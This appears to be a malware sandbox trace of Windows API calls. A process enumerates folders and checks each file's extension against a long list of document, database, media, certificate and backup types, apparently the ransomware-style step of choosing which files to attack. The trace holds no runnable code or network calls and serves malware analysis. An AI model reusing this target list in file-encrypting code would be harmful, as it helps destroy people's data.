lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".lasso") returned 6 [0069.005] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0069.005] lstrlenW (lpString=".lbi") returned 4 [0069.005] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".lgf") returned 4 [0069.005] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".lgp") returned 4 [0069.005] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".log") returned 4 [0069.005] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".m1v") returned 4 [0069.005] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".m4a") returned 4 [0069.006] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".m4v") returned 4 [0069.006] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".max") returned 4 [0069.006] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".md") returned 3 [0069.006] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0069.006] lstrlenW (lpString=".mda") returned 4 [0069.006] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".mdb") returned 4 [0069.006] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".mde") returned 4 [0069.006] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".mdf") returned 4 [0069.006] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0069.006] lstrlenW (lpString=".mdw") returned 4 [0069.006] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mef") returned 4 [0069.007] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mft") returned 4 [0069.007] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mfw") returned 4 [0069.007] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mht") returned 4 [0069.007] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mhtml") returned 6 [0069.007] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0069.007] lstrlenW (lpString=".mka") returned 4 [0069.007] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mkidx") returned 6 [0069.007] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0069.007] lstrlenW (lpString=".mkv") returned 4 [0069.007] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0069.007] lstrlenW (lpString=".mos") returned 4 [0069.007] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0069.008] lstrlenW (lpString=".mov") returned 4 [0069.008] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mp3") returned 4 [0069.010] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mp4") returned 4 [0069.010] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mpeg") returned 5 [0069.010] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0069.010] lstrlenW (lpString=".mpg") returned 4 [0069.010] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mpv") returned 4 [0069.010] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mrw") returned 4 [0069.010] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".msg") returned 4 [0069.010] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0069.010] lstrlenW (lpString=".mxl") returned 4 [0069.010] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0069.010] lstrlenW (lpString=".myd") returned 4 [0069.011] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".myi") returned 4 [0069.011] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".nef") returned 4 [0069.011] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".nrw") returned 4 [0069.011] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".obj") returned 4 [0069.011] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".odb") returned 4 [0069.011] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".odc") returned 4 [0069.011] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".odm") returned 4 [0069.011] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".odp") returned 4 [0069.011] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0069.011] lstrlenW (lpString=".ods") returned 4 [0069.012] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".oft") returned 4 [0069.012] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".one") returned 4 [0069.012] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".onepkg") returned 7 [0069.012] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0069.012] lstrlenW (lpString=".onetoc2") returned 8 [0069.012] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0069.012] lstrlenW (lpString=".opt") returned 4 [0069.012] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".oqy") returned 4 [0069.012] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".orf") returned 4 [0069.012] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".p12") returned 4 [0069.012] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0069.012] lstrlenW (lpString=".p7b") returned 4 [0069.013] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".p7c") returned 4 [0069.013] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pam") returned 4 [0069.013] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pbm") returned 4 [0069.013] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pct") returned 4 [0069.013] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pcx") returned 4 [0069.013] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pdd") returned 4 [0069.013] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pdf") returned 4 [0069.013] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pdp") returned 4 [0069.013] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pef") returned 4 [0069.013] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0069.013] lstrlenW (lpString=".pem") returned 4 [0069.014] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0069.014] lstrlenW (lpString=".pff") returned 4 [0069.015] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0069.015] lstrlenW (lpString=".pfm") returned 4 [0069.015] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0069.015] lstrlenW (lpString=".pfx") returned 4 [0069.015] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0069.015] lstrlenW (lpString=".pgm") returned 4 [0069.015] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0069.015] lstrlenW (lpString=".php") returned 4 [0069.015] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0069.015] lstrlenW (lpString=".php3") returned 5 [0069.015] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0069.016] lstrlenW (lpString=".php4") returned 5 [0069.016] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0069.016] lstrlenW (lpString=".php5") returned 5 [0069.016] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0069.016] lstrlenW (lpString=".phtml") returned 6 [0069.016] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0069.016] lstrlenW (lpString=".pict") returned 5 [0069.016] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0069.016] lstrlenW (lpString=".pl") returned 3 [0069.016] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0069.016] lstrlenW (lpString=".pls") returned 4 [0069.016] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0069.016] lstrlenW (lpString=".pm") returned 3 [0069.016] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0069.016] lstrlenW (lpString=".png") returned 4 [0069.016] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0069.016] lstrlenW (lpString=".pnm") returned 4 [0069.017] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0069.017] lstrlenW (lpString=".pot") returned 4 [0069.017] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0069.017] lstrlenW (lpString=".potm") returned 5 [0069.017] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0069.017] lstrlenW (lpString=".potx") returned 5 [0069.017] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0069.017] lstrlenW (lpString=".ppa") returned 4 [0069.017] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0069.017] lstrlenW (lpString=".ppam") returned 5 [0069.017] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0069.017] lstrlenW (lpString=".ppm") returned 4 [0069.017] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0069.017] lstrlenW (lpString=".pps") returned 4 [0069.017] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0069.017] lstrlenW (lpString=".ppsm") returned 5 [0069.018] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0069.018] lstrlenW (lpString=".ppt") returned 4 [0069.018] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.018] lstrlenW (lpString=".pptm") returned 5 [0069.018] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0069.018] lstrlenW (lpString=".pptx") returned 5 [0069.018] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0069.018] lstrlenW (lpString=".prn") returned 4 [0069.018] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0069.018] lstrlenW (lpString=".ps") returned 3 [0069.018] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0069.018] lstrlenW (lpString=".psb") returned 4 [0069.018] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0069.018] lstrlenW (lpString=".psd") returned 4 [0069.018] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0069.018] lstrlenW (lpString=".pst") returned 4 [0069.019] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0069.019] lstrlenW (lpString=".ptx") returned 4 [0069.019] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0069.019] lstrlenW (lpString=".pub") returned 4 [0069.019] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0069.019] lstrlenW (lpString=".pwm") returned 4 [0069.019] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0069.019] lstrlenW (lpString=".pxr") returned 4 [0069.019] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0069.019] lstrlenW (lpString=".py") returned 3 [0069.019] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0069.019] lstrlenW (lpString=".qt") returned 3 [0069.019] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0069.019] lstrlenW (lpString=".r3d") returned 4 [0069.019] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0069.020] FindClose (in: hFindFile=0x622588 | out: hFindFile=0x622588) returned 1 [0069.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x38a0068 | out: hHeap=0x5d0000) returned 1 [0069.020] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0069.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38a0068 [0069.020] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628458 [0069.415] FindNextFileW (in: hFindFile=0x628458, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x628458, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.416] lstrlenW (lpString=".3ds") returned 4 [0069.416] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0069.416] lstrlenW (lpString=".3fr") returned 4 [0069.416] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0069.416] lstrlenW (lpString=".3g2") returned 4 [0069.416] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0069.416] lstrlenW (lpString=".3gp") returned 4 [0069.416] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0069.416] lstrlenW (lpString=".7z") returned 3 [0069.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.416] lstrlenW (lpString=".accda") returned 6 [0069.416] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".accdb") returned 6 [0069.417] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".accdc") returned 6 [0069.417] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".accde") returned 6 [0069.417] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".accdt") returned 6 [0069.417] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".accdw") returned 6 [0069.417] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0069.417] lstrlenW (lpString=".adb") returned 4 [0069.417] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0069.417] lstrlenW (lpString=".adp") returned 4 [0069.417] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0069.417] lstrlenW (lpString=".ai") returned 3 [0069.417] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0069.417] lstrlenW (lpString=".ai3") returned 4 [0069.417] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0069.417] lstrlenW (lpString=".ai4") returned 4 [0069.418] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".ai5") returned 4 [0069.418] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".ai6") returned 4 [0069.418] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".ai7") returned 4 [0069.418] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".ai8") returned 4 [0069.418] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".anim") returned 5 [0069.418] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0069.418] lstrlenW (lpString=".arw") returned 4 [0069.418] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".as") returned 3 [0069.418] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0069.418] lstrlenW (lpString=".asa") returned 4 [0069.418] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0069.418] lstrlenW (lpString=".asc") returned 4 [0069.419] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0069.419] lstrlenW (lpString=".ascx") returned 5 [0069.419] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0069.419] lstrlenW (lpString=".asm") returned 4 [0069.419] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0069.419] lstrlenW (lpString=".asmx") returned 5 [0069.419] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0069.419] lstrlenW (lpString=".asp") returned 4 [0069.419] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0069.419] lstrlenW (lpString=".aspx") returned 5 [0069.419] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0069.419] lstrlenW (lpString=".asr") returned 4 [0069.419] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".asx") returned 4 [0069.420] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".avi") returned 4 [0069.420] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".avs") returned 4 [0069.420] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".backup") returned 7 [0069.420] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0069.420] lstrlenW (lpString=".bak") returned 4 [0069.420] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".bay") returned 4 [0069.420] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".bd") returned 3 [0069.420] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0069.420] lstrlenW (lpString=".bin") returned 4 [0069.420] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0069.420] lstrlenW (lpString=".bmp") returned 4 [0069.420] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".bz2") returned 4 [0069.421] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".c") returned 2 [0069.421] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0069.421] lstrlenW (lpString=".cdr") returned 4 [0069.421] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".cer") returned 4 [0069.421] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".cf") returned 3 [0069.421] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0069.421] lstrlenW (lpString=".cfc") returned 4 [0069.421] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".cfm") returned 4 [0069.421] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0069.421] lstrlenW (lpString=".cfml") returned 5 [0069.421] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0069.421] lstrlenW (lpString=".cfu") returned 4 [0069.421] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".chm") returned 4 [0069.422] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".cin") returned 4 [0069.422] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".class") returned 6 [0069.422] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0069.422] lstrlenW (lpString=".clx") returned 4 [0069.422] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".config") returned 7 [0069.422] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0069.422] lstrlenW (lpString=".cpp") returned 4 [0069.422] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".cr2") returned 4 [0069.422] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0069.422] lstrlenW (lpString=".crt") returned 4 [0069.423] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".crw") returned 4 [0069.423] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".cs") returned 3 [0069.423] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0069.423] lstrlenW (lpString=".css") returned 4 [0069.423] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".csv") returned 4 [0069.423] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".cub") returned 4 [0069.423] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".dae") returned 4 [0069.423] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".dat") returned 4 [0069.423] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0069.423] lstrlenW (lpString=".db") returned 3 [0069.423] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0069.423] lstrlenW (lpString=".dbf") returned 4 [0069.423] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dbx") returned 4 [0069.424] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dc3") returned 4 [0069.424] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dcm") returned 4 [0069.424] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dcr") returned 4 [0069.424] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".der") returned 4 [0069.424] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dib") returned 4 [0069.424] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dic") returned 4 [0069.424] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".dif") returned 4 [0069.424] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0069.424] lstrlenW (lpString=".divx") returned 5 [0069.424] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0069.424] lstrlenW (lpString=".djvu") returned 5 [0069.424] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0069.424] lstrlenW (lpString=".dng") returned 4 [0069.425] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0069.425] lstrlenW (lpString=".doc") returned 4 [0069.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.425] lstrlenW (lpString=".docm") returned 5 [0069.425] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0069.425] lstrlenW (lpString=".docx") returned 5 [0069.425] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.425] lstrlenW (lpString=".dot") returned 4 [0069.425] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0069.425] lstrlenW (lpString=".dotm") returned 5 [0069.425] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0069.425] lstrlenW (lpString=".dotx") returned 5 [0069.425] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0069.425] lstrlenW (lpString=".dpx") returned 4 [0069.425] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0069.425] lstrlenW (lpString=".dqy") returned 4 [0069.425] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0069.425] lstrlenW (lpString=".dsn") returned 4 [0069.425] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".dt") returned 3 [0069.426] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0069.426] lstrlenW (lpString=".dtd") returned 4 [0069.426] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".dwg") returned 4 [0069.426] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".dwt") returned 4 [0069.426] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".dx") returned 3 [0069.426] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0069.426] lstrlenW (lpString=".dxf") returned 4 [0069.426] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".edml") returned 5 [0069.426] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0069.426] lstrlenW (lpString=".efd") returned 4 [0069.426] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0069.426] lstrlenW (lpString=".elf") returned 4 [0069.426] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".emf") returned 4 [0069.427] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".emz") returned 4 [0069.427] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".epf") returned 4 [0069.427] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".eps") returned 4 [0069.427] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".epsf") returned 5 [0069.427] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0069.427] lstrlenW (lpString=".epsp") returned 5 [0069.427] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0069.427] lstrlenW (lpString=".erf") returned 4 [0069.427] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".exr") returned 4 [0069.427] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".f4v") returned 4 [0069.427] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0069.427] lstrlenW (lpString=".fido") returned 5 [0069.428] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0069.428] lstrlenW (lpString=".flm") returned 4 [0069.428] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".flv") returned 4 [0069.428] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".frm") returned 4 